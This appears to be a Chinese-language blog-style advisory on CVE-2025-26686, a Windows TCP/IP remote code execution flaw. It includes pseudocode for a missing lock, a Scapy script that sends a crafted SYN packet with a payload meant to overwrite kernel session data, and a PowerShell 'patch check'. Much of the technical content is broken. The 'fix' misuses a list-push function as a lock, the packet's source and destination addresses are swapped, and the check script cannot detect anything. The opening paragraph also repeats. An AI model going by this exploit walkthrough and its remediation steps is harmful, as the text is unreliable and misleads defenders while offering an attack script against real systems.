Windows TCP/IP 协议栈中的一个严重 RCE 漏洞(CVE-2025-26686)使敏感内存处于未锁定状态,远程攻击者可借此劫持系统。该漏洞可通过网络利用,存在系统被完全入侵的风险。请立即修补。
Windows TCP/IP 堆栈中的一个严重 RCE 漏洞(CVE-2025-26686)使敏感内存处于未锁定状态,允许远程攻击者劫持系统。该漏洞可通过网络利用,存在系统被完全入侵的风险。请立即修补。
作者: Mark Mallia
类型: 远程代码执行 (RCE)
严重性: 严重
攻击向量: 基于网络
受影响系统: Windows 10、11 及 Server 版本
微软 TCP/IP 堆栈中发现了一个编号为 CVE‑2025‑26686 的新漏洞。该漏洞源于某个存储加密密钥、会话数据或网络配置的关键内存区域缺少锁。由于该区域在数据包处理期间未受到保护,攻击者可以通过网络读取或篡改这些信息,并获得本地管理员级别的访问权限。
Windows 10/11/Server 中的 TCP/IP 堆栈在写入某些保存会话数据的缓冲区时,未获取正确的自旋锁。缺失的锁意味着两个数据包可能相互竞争,从而允许攻击者在原始进程完成写入之前,将恶意代码插入缓冲区。
要点:
该漏洞出现在 tcpip.sys 模块中,具体位于处理入站 TCP 段的相关例程附近。负责更新“会话数据”块的代码路径在写入内存之前应先获取锁。但在较新的 Windows 版本中,某个条件分支中省略了锁,这可能导致未受保护的写入。
下面是一个最小可复现示例(C++ 风格伪代码)。
// tcpip.sys – problematic region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
/* lock missing here */
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
在正确受保护的版本中,临界区应通过互锁自旋锁进行保护:
// tcpip.sys – fixed region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
_InterlockedPushEntrySList(&SessionLock, &sessionData);
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
该补丁添加了对 _InterlockedPushEntrySList 的调用,确保在更新 sessionData 期间对其进行独占访问。
当携带 SYN 标志的入站 TCP 段到达 tcpip.sys 时,该漏洞即被触发。
为使数据包匹配该代码路径,我们设置以下字段:
层 字段 CVE‑2025‑26686 的典型值 IP src 目标主机的 IP 地址(例如 10.0.0.10) dst 攻击者的 IP(例如 192.168.1.2) TCP sport 攻击者的端口(例如 4444) dport 目标服务的监听端口(例如 HTTP 的 80 端口) flags “S” 表示 SYN,用于命中 TcpIpHandleSegment 中的分支
ip_layer = IP(src="10.0.0.10", dst="192.168.1.2")
tcp_layer = TCP(sport=4444, dport=80, flags="S")
# The payload carries the data that will overwrite sessionData in tcpip.sys.
payload = "ExploitKey" + "A"*512 # 512 bytes of crafted content
pkt = ip_layer / tcp_layer / Raw(load=payload)
此时,您可以验证数据包结构:
pkt.show()
输出将显示诸如 IP → src、dst;TCP → sport、dport、flags;以及 512 字节的 Raw 载荷等字段。
这正是 Windows 在处理带有 SYN 标志的入站段时所期望的序列。
send(pkt)
该命令会将数据包直接从您的机器发送到目标主机的 TCP/IP 堆栈。
如果您在安装了 Scapy 的 Linux 虚拟机上运行该脚本,数据包将到达 Windows 机器并触发 tcpip.sys 中的代码路径。
由于攻击者可以修改包含加密密钥或会话配置的内存,该漏洞可实现:
可以使用一个快速检查脚本验证系统中锁的存在:
# Verify the interlocked entry is present in tcpip.sys
Get-ChildItem -Path C:\Windows\System32\tcpip.sys |
Select-Object Name, @{Name='PatchPresent';Expression={
$_.FullName -match '_InterlockedPushEntrySList' } }
如果 PatchPresent 返回 $True,则说明缓解措施已生效。
CVE-2025-26686 不仅仅是漏洞数据库中的又一条记录——它是一记警钟。当像 TCP/IP 堆栈这样的基础组件被攻陷时,其连锁反应将波及整个网络和行业。该漏洞提醒我们,即使是最受信任的系统也需要持续的审查和关注。作为工程师和防御者,我们的责任不仅是理解这些漏洞,更要诚信行事。此处分享的信息仅用于合乎道德的目的,以加强防御、指导负责任的补丁部署,并增强组织保护其用户的能力。